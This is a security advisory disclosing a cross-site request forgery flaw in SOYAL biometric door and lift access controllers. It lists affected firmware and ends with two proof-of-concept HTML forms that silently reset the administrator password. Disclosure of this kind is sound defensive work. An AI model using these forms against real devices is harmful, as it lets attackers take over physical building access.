SOYAL Biometric Access Control System version 5.0 suffers from a cross site request forgery vulnerability.
93e556f6e1d9d2300afc6b657f1c1067ff56c303dec1b576e8ad9bba10eaa74c
SOYAL Biometric Access Control System 5.0 CSRF Change Admin Password
Vendor: SOYAL Technology Co., Ltd
Product web page: https://www.soyal.com.tw | https://www.soyal.com
Affected version: AR-727 i/CM - F/W: 5.0
AR837E/EF - F/W: 4.3
AR725Ev2 - F/W: 4.3 191231
AR331/725E - F/W: 4.2
AR837E/EF - F/W: 4.1
AR-727CM /i - F/W: 4.09
AR-727CM /i - F/W: 4.06
AR-837E - F/W: 3.03
Summary: Soyal Access systems are built into Raytel Door Entry Systems
and are providing access and lift control to many buildings from public
and private apartment blocks to prestigious public buildings.
Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.
Tested on: SOYAL Technology WebServer 2.0
SOYAL Serial Device Server 4.03A
SOYAL Serial Device Server 4.01n
SOYAL Serial Device Server 3.07n
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5632
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5632.php
25.01.2021
--
<html>
<body>
<form action="http://192.168.1.1/userset.cgi" method="POST">
<input type="hidden" name="pw" value="test123" />
<input type="hidden" name="pw2" value="test123" />
<input type="submit" value="Forge me!" />
</form>
</body>
</html>
...
<html>
<body>
<form action="http://192.168.1.2/LoginUser.cgi" method="POST">
<input type="hidden" name="pw" value="drugtest123" />
<input type="hidden" name="pw2" value="drugtest123" />
<input type="submit" value="Forge me!" />
</form>
</body>
</html>
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